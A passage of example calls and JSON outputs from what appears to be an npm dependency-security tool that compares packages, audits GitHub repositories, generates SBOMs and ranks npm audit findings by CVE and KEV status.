    { "name": "got", "found": true, "weeklyDownloads": 26000000, "popularityTier": "very-high", "maintenanceTier": "active", "hasBuiltInTypes": true, "isLatestVersionVulnerable": false, "installScriptRisk": { "hasLifecycleScripts": false, "riskTier": "none" }, "installSize": { "unpackedSize": 448958, "transitive": { "transitiveUnpackedSize": 1553040, "transitiveDependencyCount": 19, "sizeUnknownCount": 0, "truncated": false } }, "score": 26 },
    { "name": "node-fetch", "found": true, "weeklyDownloads": 45000000, "popularityTier": "very-high", "maintenanceTier": "aging", "hasBuiltInTypes": true, "isLatestVersionVulnerable": false, "installScriptRisk": { "hasLifecycleScripts": false, "riskTier": "none" }, "installSize": { "unpackedSize": 107319, "transitive": { "transitiveUnpackedSize": 9236710, "transitiveDependencyCount": 6, "sizeUnknownCount": 0, "truncated": false } }, "score": 20 }
  ],
  "differentiators": {
    "mostDownloads": "axios",
    "hasTypeScriptSupport": ["axios", "got", "node-fetch"],
    "hasKnownVulnerabilities": [],
    "deprecated": [],
    "possibleTyposquat": [],
    "installScriptRiskFlagged": [],
    "smallestInstallSize": "got",
    "largestInstallSize": "node-fetch"
  },
  "recommendation": {
    "pick": "axios",
    "runnerUp": "got",
    "rationale": "axios: widely used (65,000,000 weekly downloads); actively maintained (published 12d ago); ships built-in TypeScript types; no known vulnerabilities in its latest version.",
    "confidence": "high"
  }
}

compare_packages({ "packages": ["axios", "request", "node-fetch"] })

{
  "candidates": [
    { "name": "axios", "found": true, "deprecated": null, "score": 41 },
    { "name": "request", "found": true, "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", "maintenanceTier": "stale", "score": -34 },
    { "name": "node-fetch", "found": true, "deprecated": null, "score": 20 }
  ],
  "differentiators": { "deprecated": ["request"], "possibleTyposquat": [], "hasKnownVulnerabilities": [] },
  "recommendation": {
    "pick": "axios",
    "runnerUp": "node-fetch",
    "rationale": "axios: widely used (65,000,000 weekly downloads); actively maintained (published 12d ago); ships built-in TypeScript types; no known vulnerabilities in its latest version. 1 candidate excluded from consideration (deprecated or a possible typosquat).",
    "confidence": "high"
  }
}

compare_packages({ "packages": ["axios", "got", "definitely-not-a-real-package-xyz"] })

{
  "candidates": [
    { "name": "axios", "found": true, "score": 41 },
    { "name": "got", "found": true, "score": 30 },
    { "name": "definitely-not-a-real-package-xyz", "found": false, "resolutionError": "Package \"definitely-not-a-real-package-xyz\" not found", "installScriptRisk": null, "score": null }
  ],
  "recommendation": { "pick": "axios", "runnerUp": "got", "confidence": "medium" }
}

audit_github_repository({ "url": "https://github.com/expressjs/express" })

{
  "summary": "Audited 28 dependencies from expressjs/express: 0 with known vulnerabilities, 0 license violation(s), 3 flagged install script(s).",
  "lockfilePath": null,
  "inputFormat": "package.json",
  "isMonorepo": false,
  "findings": [
    {
      "name": "content-disposition",
      "resolvedVersion": "3.0.0",
      "isVulnerable": false,
      "rawLicense": "MIT",
      "isLicenseCompliant": true,
      "hasLifecycleScripts": true,
      "installScriptRiskTier": "low",
      "installScriptScanScope": "deep-tarball-scan"
    }
  ],
  "totalPackages": 28,
  "installScriptFlaggedCount": 3,
  "deepScannedCount": 3
}

audit_github_repository({ "url": "https://github.com/npm/cli" })

{
  "lockfilePath": "package-lock.json",
  "isMonorepo": true,
  "workspacePatterns": ["docs", "smoke-tests", "mock-globals", "mock-registry", "workspaces/*"],
  "workspacePackageCount": 16,
  "workspaceNote": "Monorepo detected (docs, smoke-tests, mock-globals, mock-registry, workspaces/*) — merged 16 workspace package(s) in addition to the root manifest.",
  "findings": [
    { "name": "@npmcli/query", "resolvedVersion": "4.0.1", "isVulnerable": false }
  ],
  "totalPackages": 84
}

audit_github_repository({ "url": "https://github.com/github/gitignore" })

{ "error": "No package.json found in \"github/gitignore\" at ref \"main\"" }

generate_sbom({
  "packages": [{ "name": "minimist", "version": "1.2.5" }]
})

{
  "format": "cyclonedx",
  "sbom": {
    "bomFormat": "CycloneDX",
    "specVersion": "1.6",
    "components": [
      { "bom-ref": "pkg:npm/minimist@1.2.5", "type": "library", "name": "minimist", "version": "1.2.5", "purl": "pkg:npm/minimist@1.2.5", "licenses": [{ "expression": "MIT" }] }
    ],
    "vulnerabilities": [
      {
        "id": "GHSA-xvch-5gv4-984h",
        "source": { "name": "GitHub Advisories", "url": "https://npmscan.com/vulnerability/GHSA-xvch-5gv4-984h" },
        "references": [{ "id": "CVE-2021-44906", "source": { "name": "NVD" } }],
        "ratings": [{ "source": { "name": "OSV" }, "severity": "critical" }],
        "recommendation": "Upgrade to 1.2.6 or later.",
        "affects": [{ "ref": "pkg:npm/minimist@1.2.5" }],
        "analysis": { "state": "in_triage" }
      }
    ]
  },
  "totalVulnerabilities": 1,
  "packagesWithVulnerabilities": 1
}

generate_sbom({
  "packages": [{ "name": "left-pad", "version": "1.3.0" }],
  "format": "spdx"
})

{
  "format": "spdx",
  "sbom": {
    "spdxVersion": "SPDX-2.3",
    "packages": [
      {
        "SPDXID": "SPDXRef-Package-0",
        "name": "left-pad",
        "versionInfo": "1.3.0",
        "downloadLocation": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
        "licenseDeclared": "WTFPL",
        "licenseConcluded": "WTFPL",
        "externalRefs": [
          { "referenceCategory": "PACKAGE-MANAGER", "referenceType": "purl", "referenceLocator": "pkg:npm/left-pad@1.3.0" }
        ]
      }
    ]
  },
  "totalVulnerabilities": 0,
  "packagesWithVulnerabilities": 0
}

generate_sbom({
  "packages": [{ "name": "minimist", "version": "1.2.5" }],
  "includeVulnerabilities": false
})

{
  "format": "cyclonedx",
  "sbom": {
    "components": [
      { "bom-ref": "pkg:npm/minimist@1.2.5", "type": "library", "name": "minimist", "version": "1.2.5", "purl": "pkg:npm/minimist@1.2.5", "licenses": [{ "expression": "MIT" }] }
    ]
  },
  "totalVulnerabilities": 0,
  "packagesWithVulnerabilities": 0
}

enrich_npm_audit({
  "content": "{\"auditReportVersion\":2,\"vulnerabilities\":{\"vulnerable-log4j-wrapper\":{\"name\":\"vulnerable-log4j-wrapper\",\"severity\":\"critical\",\"isDirect\":true,\"via\":[{\"source\":1,\"name\":\"vulnerable-log4j-wrapper\",\"url\":\"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q\",\"title\":\"Remote code execution\",\"severity\":\"critical\"}],\"fixAvailable\":true}}}"
})

{
  "inputFormat": "npm-audit-v2",
  "ghsaResolvedToCveCount": 1,
  "summary": { "patchNow": 1, "patchSoon": 0, "scheduled": 0, "monitor": 0, "kevListedCount": 1 },
  "ranked": [
    {
      "rank": 1,
      "packageName": "vulnerable-log4j-wrapper",
      "cveId": "CVE-2021-44228",
      "advisoryId": "GHSA-jfh8-c2jp-5v3q",
      "kev": { "dateAdded": "2021-12-10", "requiredAction": "Apply updates per vendor instructions." },
      "tier": "patch-now",
      "isDirect": true,
      "fixAvailable": true,
      "fixTarget": null
    }
  ]
}

enrich_npm_audit({
  "content": "{\"advisories\":{\"1179\":{\"id\":1179,\"module_name\":\"minimist\",\"severity\":\"critical\",\"cves\":[\"CVE-2021-44906\"],\"url\":\"https://github.com/advisories/GHSA-xvch-5gv4-984h\",\"findings\":[{\"version\":\"1.2.5\",\"paths\":[\"minimist\"]}]}}}"
})

{
  "inputFormat": "npm-audit-legacy",
  "ghsaResolvedToCveCount": 0,
  "ranked": [
    { "rank": 1, "packageName": "minimist", "cveId": "CVE-2021-44906", "currentVersion": "1.2.5", "fixedVersion": null }
  ]
}

enrich_npm_audit({ "content": "{\"type\":\"auditAdvisory\",\"data\":{...}}" })

{ "error": "Could not detect a supported npm audit JSON format — expected npm 7+ {\"vulnerabilities\": {...}} (auditReportVersion 2) or legacy npm 6 {\"advisories\": {...}}. `yarn audit --json` and `pnpm audit --json` use different report shapes and are not supported here — use batch_query_vulnerabilities with the project's manifest/lockfile instead." }